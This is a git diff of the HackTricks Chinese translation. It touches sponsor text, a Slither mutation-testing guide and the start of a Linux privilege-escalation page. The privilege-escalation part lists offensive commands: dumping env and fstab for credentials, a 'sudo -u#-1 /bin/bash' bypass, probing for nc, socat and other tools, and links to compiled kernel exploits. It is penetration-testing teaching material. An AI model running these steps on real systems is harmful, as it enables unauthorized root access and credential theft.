diff --git a/src/README.md b/src/README.md
index c8d6ab12f..af7914844 100644
--- a/src/README.md
+++ b/src/README.md
@@ -2,7 +2,7 @@
-_Hacktricks 徽标和动效设计由_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricks 徽标与动效设计由_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### 在本地运行 HackTricks
```bash
@@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
-你的本地 HackTricks 副本将在 <5 分钟后 **可在 [http://localhost:3337](http://localhost:3337) 访问**(需要构建书籍,请耐心等待)。
+Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient).
## 企业赞助商
@@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
-[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,口号为 **HACK THE UNHACKABLE**。他们开展自己的研究并开发自己的黑客工具,以便 **提供多种有价值的网络安全服务**,例如 pentesting、Red teams 和培训。
+[**STM Cyber**](https://www.stmcyber.com) 是一家优秀的网络安全公司,其口号是 **HACK THE UNHACKABLE**。他们进行自主研究并开发自己的 hacking tools,以 **提供多种有价值的网络安全服务**,例如 pentesting、Red teams 和培训。
-你可以在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com) 查看他们的 **博客**
+您可以在 [**https://blog.stmcyber.com**](https://blog.stmcyber.com) 查看他们的 **blog**
-**STM Cyber** 也支持像 HackTricks 这样的网络安全开源项目 :)
+**STM Cyber** 也支持像 HackTricks 这样的开源网络安全项目 :)
---
@@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
-[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最重要的网络安全活动,也是 **欧洲** 最重要的会议之一。怀着 **推广技术知识的使命**,这个大会是技术与网络安全各领域专业人士的重要汇聚点。
+[**RootedCON**](https://www.rootedcon.com) 是 **西班牙** 最重要的网络安全活动,也是 **欧洲** 最有影响力的会议之一。该大会以 **促进技术知识** 为使命,是各类技术和网络安全专业人士的热烈汇聚点。
{{#ref}}
https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti** 是 **Europe's #1** 的 ethical hacking 与 **bug bounty platform.**
+**Intigriti** 是 **Europe's #1** 的 ethical hacking 和 **bug bounty platform.**
-**Bug bounty tip**:**sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
+**Bug bounty tip**:**sign up** 加入 **Intigriti**,这是一个由黑客为黑客打造的高级 **bug bounty platform**!现在就访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达 **$100,000** 的赏金!
{{#ref}}
https://go.intigriti.com/hacktricks
@@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
\
-使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建并 **自动化工作流**,由世界上**最先进**的社区工具驱动。
+使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建并 **自动化工作流**,由全球 **最先进** 的社区工具提供支持。
立即获取访问权限:
@@ -94,11 +94,11 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和 bug bounty 猎人交流!
-- **Hacking Insights:** 参与深入探讨黑客世界刺激与挑战的内容
-- **Real-Time Hack News:** 通过实时新闻和洞见及时了解快速变化的黑客世界
-- **Latest Announcements:** 获取最新启动的 bug bounty 和重要平台更新
+- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking
+- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights
+- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客协作!
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶级黑客协作!
---
@@ -106,9 +106,9 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-**从黑客视角审视你的 Web 应用、网络与云**
+**Get a hacker's perspective on your web apps, network, and cloud**
-**发现并报告具有真实业务影响的关键可利用漏洞。** 使用我们 20+ 的自定义工具绘制攻击面,发现可导致权限升级的安全问题,并使用自动化利用收集关键证据,将你的工作成果转化为有说服力的报告。
+**Find and report critical, exploitable vulnerabilities with real business impact.** 使用我们 20+ 的自定义工具来绘制攻击面,发现可导致权限升级的安全问题,并使用 automated exploits 收集必要证据,将你的工作转化为有说服力的报告。
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** 提供快速且简便的实时 API 以 **访问搜索引擎结果**。他们负责抓取搜索引擎、处理代理、解决验证码,并为你解析所有丰富的结构化数据。
+**SerpApi** 提供快速且易用的实时 API 来 **访问搜索引擎结果**。他们负责抓取搜索引擎、处理代理、解决验证码,并为你解析所有丰富的结构化数据。
-订阅 SerpApi 的任一计划可访问 50 多种不同的 API,用于抓取不同的搜索引擎,包括 Google、Bing、Baidu、Yahoo、Yandex 等。\
-与其他提供商不同,**SerpApi 不仅抓取自然结果**。SerpApi 的响应始终包含所有广告、内联图片与视频、知识图谱以及搜索结果中存在的其他元素与特性。
+订阅 SerpApi 的计划可访问超过 50 个不同的 API,用于抓取不同的搜索引擎,包括 Google、Bing、Baidu、Yahoo、Yandex 等。\
+与其他提供商不同,**SerpApi 不只是抓取 organic results**。SerpApi 的响应始终包含所有广告、内联图片和视频、知识图谱以及搜索结果中存在的其他元素和功能。
-当前 SerpApi 的客户包括 **Apple, Shopify, and GrubHub**。\
-欲了解更多信息请查看他们的 [**blog**](https://serpapi.com/blog/)**,** 或在他们的 [**playground**](https://serpapi.com/playground)** 中尝试示例。**\
-你可以在 [**here**](https://serpapi.com/users/sign_up)** 创建一个免费帐户**。
+当前 SerpApi 的客户包括 **Apple、Shopify 和 GrubHub**。\
+更多信息请查看他们的 [**blog**](https://serpapi.com/blog/)**,** 或在他们的 [**playground**](https://serpapi.com/playground) 试用示例。\
+你可以在 [**这里**](https://serpapi.com/users/sign_up)** 创建一个免费账户。**
---
@@ -135,7 +135,7 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-学习进行漏洞研究、渗透测试和逆向工程以保护移动应用与设备所需的技术与技能。通过我们的点播课程 **掌握 iOS 与 Android 安全** 并 **获得认证**:
+学习进行漏洞研究、penetration testing 和逆向工程以保护移动应用和设备所需的技术与技能。通过我们的按需课程掌握 iOS 与 Android 安全,并 **获取认证**:
{{#ref}}
https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) 是一家位于 **Amsterdam** 的专业网络安全公司,帮助全球企业应对最新的网络安全威胁,提供带有**现代**方法的 **offensive-security services**。
+[**WebSec**](https://websec.net) 是一家总部位于 **Amsterdam** 的专业网络安全公司,帮助 **全球** 企业抵御最新的网络安全威胁,提供带有 **现代化** 方法的 **offensive-security services**。
-WebSec 是一家国际性安全公司,在 Amsterdam 和 Wyoming 设有办事处。他们提供 **一体化安全服务**,涵盖渗透测试、**Security** 审计、意识培训、网络钓鱼活动、代码审计、漏洞利用开发、安全专家外包等诸多服务。
+WebSec 是一家国际安全公司,在 Amsterdam 和 Wyoming 设有办公室。他们提供 **全方位安全服务**,涵盖 Pentesting、**Security** 审计、意识培训、钓鱼活动、代码审查、Exploit 开发、安全专家外包等诸多服务。
-WebSec 的另一大特点是,与行业平均水平不同,WebSec 对自己的技能 **非常有信心**,以至于他们在网站上承诺“**If we can't hack it, You don't pay it!**”。更多信息请查看他们的 [**website**](https://websec.net/en/) 和 [**blog**](https://websec.net/blog/)!
+WebSec 的另一大特点是与行业平均水平不同,他们对自己的技能 **非常自信**,以至于在网站上承诺“**If we can't hack it, You don't pay it!**”。想了解更多请访问他们的 [**website**](https://websec.net/en/) 和 [**blog**](https://websec.net/blog/)!
-除了上述内容外,WebSec 也是 HackTricks 的 **坚定支持者**。
+此外,WebSec 也是 HackTricks 的 **坚定支持者。**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) 是一个数据泄露 (leak) 搜索引擎。\
-我们提供类似 Google 的随机字符串搜索,覆盖各类大小数据泄露 — 不仅限于大型泄露 — 来自多个来源的数据。\
-人名搜索、AI 搜索、组织搜索、API (OpenAPI) 访问、theHarvester 集成,包含所有 pentester 所需的功能。\
-**HackTricks 继续为我们所有人提供很棒的学习平台,我们很自豪能赞助它!**
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) 是一个 data breach (leak) 搜索引擎。\
+我们提供类似 google 的随机字符串搜索,覆盖各种规模的数据 leak —— 不仅限于大型泄露 —— 来源于多个数据源。\
+People search、AI search、organization search、API (OpenAPI) 访问、theHarvester integration,所有 pentester 需要的功能一应俱全。\
+**HackTricks 持续是我们大家的优秀学习平台,我们很自豪能赞助它!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) 开发并提供由业内专家构建和领导的高效网络安全培训。他们的课程超越理论,使用反映真实世界威胁的定制环境,赋能团队掌握深入的理解与可付诸实践的技能。若需定制培训,请通过 [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) 与我们联系。
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) 开发并提供由业界专家构建和领导的高效网络安全培训。他们的课程超越理论,通过反映真实世界威胁的定制环境,为团队提供深入理解和可操作技能。若需定制培训,请通过 [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) 与我们联系。
-**使其培训与众不同的要点:**
-* 定制构建的内容与实验室
-* 支持顶级工具与平台
-* 由实践者设计与授课
+**他们培训的特点:**
+* 定制内容与实验室
+* 依托顶级工具与平台
+* 由实务从业者设计与授课
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
-Last Tower Solutions 为 **教育** 与 **金融科技 (FinTech)** 机构提供专业化的网络安全服务,重点关注 **渗透测试、云安全评估** 和 **合规准备**(SOC 2、PCI-DSS、NIST)。我们的团队包含 **OSCP 和 CISSP 认证的专业人员**,为每次服务提供深厚的技术专长与行业标准洞见。
+Last Tower Solutions 为 **教育 (Education)** 和 **金融科技 (FinTech)** 机构提供专门的网络安全服务,重点包括 **penetration testing、cloud security assessments** 和 **compliance readiness**(如 SOC 2、PCI-DSS、NIST)。我们的团队包括持有 **OSCP 和 CISSP** 认证的专业人员,能为每次项目带来深厚的技术专长和行业视角。
-我们不仅依赖自动化扫描,还提供 **人工、情报驱动的测试**,为高风险环境量身定制。从保护学生记录到保障金融交易,我们帮助组织守护最重要的资产。
+我们超越自动化扫描,提供针对高风险环境的 **手动、情报驱动的测试**。从保护学生记录到保障金融交易,我们帮助组织守护最重要的资产。
-_“高质量的防御来源于了解进攻,我们通过理解来提供安全。”_
+_“A quality defense requires knowing the offense, we provide security through understanding.”_
-想了解更多网络安全的最新动态,请访问我们的 [**blog**](https://www.lasttowersolutions.com/blog)。
+通过访问我们的 [**blog**](https://www.lasttowersolutions.com/blog) 保持对最新网络安全动态的了解。
{{#ref}}
https://www.lasttowersolutions.com/
@@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-
+
-K8Studio IDE 使 DevOps、DevSecOps 和开发人员能够高效地管理、监控和保护 Kubernetes 集群。利用我们的 AI 驱动洞见、先进的安全框架和直观的 CloudMaps GUI 来可视化集群、了解其状态并自信地采取行动。
+K8Studio IDE 帮助 DevOps、DevSecOps 和开发者高效地管理、监控和保护 Kubernetes 集群。利用我们的 AI 驱动洞察、高级安全框架和直观的 CloudMaps GUI,可视化集群、了解状态并自信地采取行动。
-此外,K8Studio 与所有主流 kubernetes 发行版兼容(AWS, GCP, Azure, DO, Rancher, K3s, Openshift 等)。
+此外,K8Studio 与所有主流 kubernetes 发行版兼容 (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more)。
{{#ref}}
https://k8studio.io/
@@ -230,13 +230,13 @@ https://k8studio.io/
## 许可证与免责声明
-请查看:
+查看它们:
{{#ref}}
welcome/hacktricks-values-and-faq.md
{{#endref}}
-## Github 统计
+## Github Stats

diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6d276923d..561fe52fb 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
\ No newline at end of file
+- [Cookies Policy](todo/cookies-policy.md)
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
index c37f0280b..a742d13a7 100644
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -1,14 +1,14 @@
-# 使用 Slither (slither-mutate) 对 Solidity 进行变异测试
+# 用 Slither (slither-mutate) 对 Solidity 进行变异测试
{{#include ../../banners/hacktricks-training.md}}
-变异测试通过有系统地在你的 Solidity 代码中引入小的改动(mutants)并重新运行你的测试套件来“测试你的测试”。如果某个测试失败,该 mutant 被杀死。如果测试仍然通过,该 mutant 存活,暴露了测试套件中的盲点,这是行/分支覆盖率无法发现的。
+变异测试通过在你的 Solidity 代码中系统性地引入小改动(突变体)并重新运行测试套件来“测试你的测试”。如果某个测试失败,该突变体就被消灭;如果测试仍然通过,该突变体就存活,从而暴露出行/分支覆盖率无法检测到的测试盲点。
-关键思想:覆盖率显示代码被执行;变异测试显示行为是否被实际断言。
+关键思想:覆盖率说明代码被执行过;变异测试说明行为是否真正被断言。
## 为什么覆盖率会误导
-考虑下面这个简单的阈值检查:
+考虑这个简单的阈值检查:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@@ -18,95 +18,94 @@ return false;
}
}
```
-如果单元测试只检查阈值以下和阈值以上的值,可能在未断言相等边界 (==) 的情况下达到 100% 的行/分支覆盖率。将条件重构为 `deposit >= 2 ether` 仍会通过这类测试,从而悄然破坏协议逻辑。
+单元测试如果只检查阈值以下和阈值以上的值,可能在行/分支覆盖率上达到 100%,但却没有断言等于边界 (==)。将条件重构为 `deposit >= 2 ether` 仍会通过这样的测试,从而在不发声的情况下破坏协议逻辑。
-变异测试通过修改条件并验证测试是否失败来揭示这一漏洞。
+Mutation testing 通过变异条件并验证你的测试是否失败来暴露这个缺口。
-## 常见的 Solidity 变异操作符
+## Common Solidity mutation operators
-Slither 的变异引擎会应用许多小的、改变语义的编辑,例如:
-- 运算符替换:`+` ↔ `-`,`*` ↔ `/` 等。
-- 赋值替换:`+=` → `=`,`-=` → `=`
-- 常量替换:非零 → `0`,`true` ↔ `false`
-- 在 `if`/循环 内部的条件取反/替换
-- 注释整行(CR: Comment Replacement)
-- 用 `revert()` 替换某行
-- 数据类型替换:例如 `int128` → `int64`
+Slither 的变异引擎会应用许多小的、改变语义的修改,例如:
+- 运算符替换:`+` ↔ `-`, `*` ↔ `/`, 等等
+- 赋值替换:`+=` → `=`, `-=` → `=`
+- 常量替换:non-zero → `0`, `true` ↔ `false`
+- 在 `if`/loops 中对条件取反/替换
+- 注释掉整行 (CR: Comment Replacement)
+- 用 `revert()` 替换整行
+- 数据类型互换:例如,`int128` → `int64`
-目标:消灭 100% 的生成变异体,或者对幸存者给出明确的理由说明。
+目标:杀死 100% 的生成突变体,或用明确的理由说明幸存者。
-## 使用 slither-mutate 运行变异测试
+## Running mutation testing with slither-mutate
-要求:Slither v0.10.2+。
+Requirements: Slither v0.10.2+。
-- 列出选项和 mutators:
+- 列出选项和变异器:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
-- Foundry 示例(捕获结果并保存完整日志):
+- Foundry 示例(捕获结果并保留完整日志):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
-- 如果你不使用 Foundry,请将 `--test-cmd` 替换为运行测试的方式(例如,`npx hardhat test`、`npm test`)。
+- 如果你不使用 Foundry,请将 `--test-cmd` 替换为你运行测试的方式(例如:`npx hardhat test`、`npm test`)。
-产物和报告默认存储在 `./mutation_campaign`。未被捕获(存活)的变异体会被复制到那里以便检查。
+Artifacts and reports are stored in `./mutation_campaign` by default. 未被捕获(存活)的变异体会被复制到该目录以便检查。
### 理解输出
-报告行示例:
+报告行如下:
```text
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
- 方括号中的标签是变异器别名(例如,`CR` = Comment Replacement)。
-- `UNCAUGHT` 表示在被变异的行为下测试通过 → 缺少断言。
+- `UNCAUGHT` 表示在被变异的行为下测试通过 → 缺失断言。
-## Reducing runtime: prioritize impactful mutants
+## 减少运行时间:优先考虑有影响的变异体
-变异测试活动可能需要数小时或数天。降低成本的建议:
-- Scope:先只对关键合约/目录进行测试,然后逐步扩大。
-- Prioritize mutators:如果一行上的高优先级变异体幸存(例如,整行被注释),可以跳过该行的低优先级变体。
-- Parallelize tests if your runner allows it;缓存依赖/构建。
-- Fail-fast:当某个变更清楚地暴露断言缺口时,尽早停止。
+Mutation campaigns can take hours or days. Tips to reduce cost:
+- Scope: 仅针对关键合约/目录开始,然后再扩展。
+- Prioritize mutators: 如果某行上的高优先级变体幸存(例如,整行被注释),则可以跳过该行的低优先级变体。
+- Parallelize tests if your runner allows it; cache dependencies/builds.
+- Fail-fast: 在修改清晰地暴露断言缺失时尽早终止。
-## Triage workflow for surviving mutants
+## 幸存变体的分流工作流程
-1) Inspect the mutated line and behavior.
-- 通过应用被变异的行并运行有针对性的测试在本地复现。
+1) 检查被变异的行和行为。
+- 通过应用被变异的那一行并运行针对性的测试,在本地重现。
-2) Strengthen tests to assert state, not only return values.
-- 添加等值边界检查(例如,测试阈值 `==`)。
-- 断言后置条件:余额、总供应、授权效果以及触发的事件。
+2) 强化测试以断言状态,而不仅仅是返回值。
+- 添加等式/边界检查(例如,测试阈值 `==`)。
+- 断言后置条件:balances、total supply、authorization effects,以及 emitted events。
-3) Replace overly permissive mocks with realistic behavior.
-- 确保 mocks 强制执行链上会发生的转账、失败路径和事件触发。
+3) 用真实行为替换过于宽松的 mocks。
+- 确保 mocks 强制执行 transfers、failure paths,以及链上会发生的 event emissions。
-4) Add invariants for fuzz tests.
-- 例如,价值守恒、非负余额、授权不变量、在适用时单调供应。
+4) 为 fuzz 测试添加不变量。
+- 例如,conservation of value、non-negative balances、authorization invariants,以及在适用时的 monotonic supply。
-5) Re-run slither-mutate until survivors are killed or explicitly justified.
-- 重新运行 slither-mutate,直到幸存者被消除或有明确理由保留。
+5) 重新运行 slither-mutate,直到幸存者被消除或有明确理由保留为止。
-## Case study: revealing missing state assertions (Arkis protocol)
+## 案例研究:揭示缺失的状态断言 (Arkis protocol)
-在对 Arkis DeFi 协议进行审计的变异测试活动中出现了如下幸存变异体:
+在对 Arkis DeFi protocol 的审计期间进行的一次变异测试活动暴露出了如下幸存者:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
-注释掉赋值并未使测试失败,证明缺少事后状态断言。根本原因:代码信任了由用户控制的 `_cmd.value`,而没有验证实际的 token 转移。攻击者可以使预期转移与实际转移不同步,从而抽取资金。结果:对协议偿付能力构成高严重性风险。
+注释掉赋值并未导致测试失败,证明缺少后置状态断言。根本原因:代码信任了用户可控的 `_cmd.value`,而没有验证实际的代币转移。攻击者可以使预期转移与实际转移不同步,从而抽干资金。结果:对协议偿付能力构成高严重性风险。
-建议:对影响价值转移、账务或访问控制的幸存变异体,在被消灭之前一律视为高风险。
+Guidance: 将影响价值转移、会计或访问控制的存活变异体视为高风险,直到其被消灭。
-## 实操检查清单
+## Practical checklist
-- 运行定向活动:
+- 运行有针对性的变异测试:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
-- 对幸存变异体进行分类并编写在变异行为下会失败的测试/不变量。
-- 断言余额、供应、授权和事件。
-- 添加边界测试 (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- 筛查存活的变异体,并编写在变异行为下会失败的测试/不变量。
+- 断言余额、供应量、授权和事件。
+- 添加边界测试(`==`、溢出/下溢、零地址、零数额、空数组)。
- 替换不现实的 mocks;模拟失败模式。
-- 迭代直到所有变异体被消灭,或以注释和理由解释清楚。
+- 重复迭代,直到所有变异体被消灭或通过注释与理由得到证明。
## References
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index 39b84339f..6e9bf5806 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -4,48 +4,48 @@
## 系统信息
-### 操作系统信息
+### OS 信息
-让我们开始收集有关正在运行的操作系统的一些信息
+让我们开始收集关于正在运行的 OS 的一些信息
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
```
-### Path
+### 路径
-如果你**对 `PATH` 变量中的任何文件夹拥有写权限**,可能能够劫持某些库或二进制文件:
+如果你 **对 `PATH` 变量中任何文件夹具有写权限**,你可能能够劫持某些库或二进制文件:
```bash
echo $PATH
```
### 环境信息
-环境变量中是否包含有趣的信息、密码或 API keys?
+环境变量中有有趣的信息、密码或 API 密钥吗?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
-检查内核版本,并查看是否存在可用于 escalate privileges 的 exploit。
+检查 kernel 版本,查看是否存在可用于 escalate privileges 的 exploit。
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-你可以在这里找到一个不错的有漏洞的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+你可以在这里找到不错的有漏洞的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
+其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
-要从该网站提取所有有漏洞的内核版本,你可以执行:
+要从该网站中提取所有有漏洞的内核版本,可以执行:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
-下面的工具可帮助搜索 kernel exploits:
+可以帮助搜索 kernel exploits 的工具有:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在受害者主机上执行,仅检查针对内核 2.x 的 exploit)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在 victim 上执行,仅检查针对 kernel 2.x 的 exploits)
-始终 **在 Google 上搜索内核版本**,也许某些 kernel exploit 中写明了你的内核版本,这样你就能确定该 exploit 是否有效。
+始终 **在 Google 上搜索 kernel 版本**,也许你的 kernel 版本被写在某个 kernel exploit 中,这样你就可以确认该 exploit 是否有效。
### CVE-2016-5195 (DirtyCow)
@@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo 版本
-基于出现在以下位置的易受攻击的 sudo 版本:
+基于下列存在漏洞的 sudo 版本:
```bash
searchsploit sudo
```
@@ -73,9 +73,9 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.
```
sudo -u#-1 /bin/bash
```
-### Dmesg signature verification failed
+### Dmesg 签名验证失败
-请查看 **smasher2 box of HTB**,了解如何利用此 vuln 的 **示例**
+查看 **smasher2 box of HTB** 以获取有关如何利用该 **vuln** 的示例
```bash
dmesg 2>/dev/null | grep "signature"
```
@@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
```
## Docker Breakout
-如果你在 docker container 内,可以尝试 escape:
+如果你在 docker container 内,你可以尝试从中逃逸:
{{#ref}}
docker-security/
@@ -131,7 +131,7 @@ docker-security/
## 驱动器
-检查 **what is mounted and unmounted**,在哪里以及为什么。如果有任何是 unmounted 的,你可以尝试 mount 它并检查是否有敏感信息。
+检查 **what is mounted and unmounted**,在哪里以及为什么。如果有任何是 unmounted 的,你可以尝试去 mount 它并检查是否包含敏感信息。
```bash
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@@ -140,46 +140,46 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## 有用的软件
-枚举有用的 binaries
+枚举有用的二进制文件
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
-另外,检查是否安装了**任何编译器**。如果你需要使用某些 kernel exploit,这很有用,因为建议在将要使用它的机器上(或在一台类似的机器上)对其进行编译。
+另外,检查是否安装了 **任何编译器**。如果你需要使用某些 kernel exploit,这很有用,因为建议在将要使用它的机器(或在一台类似的机器)上编译它。
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
### 已安装的易受攻击软件
-检查 **已安装的包和服务的版本**。也许存在一些较旧的 Nagios 版本(例如),可能被利用来进行 escalating privileges…\
-建议手动检查更可疑已安装软件的版本。
+检查 **已安装软件包和服务的版本**。可能存在某些较旧的 Nagios 版本(例如),可以被利用来提升权限…\
+建议手动检查那些更可疑的已安装软件的版本。
```bash
dpkg -l #Debian
rpm -qa #Centos
```
-If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine.
+如果你有对该主机的 SSH 访问权限,也可以使用 **openVAS** 来检查主机上安装的过时或存在已知漏洞的软件。
-> [!NOTE] > _请注意,这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似的应用来检查已安装的软件版本是否容易受到已知漏洞的影响_
+> [!NOTE] > _注意:这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似的应用来检查任何已安装软件版本是否容易受到已知漏洞利用的影响_
## 进程
-查看正在执行的 **进程** 并检查是否有任何进程拥有 **超过其应有的权限**(例如 tomcat 以 root 身份运行?)
+查看正在执行的 **哪些进程**,并检查是否有任何进程拥有 **超出其应有的权限**(例如由 root 执行的 tomcat?)
```bash
ps aux
ps -ef
top -n 1
```
-Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\
-Also **check your privileges over the processes binaries**, maybe you can overwrite someone.
+始终检查是否可能存在 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些情况。\
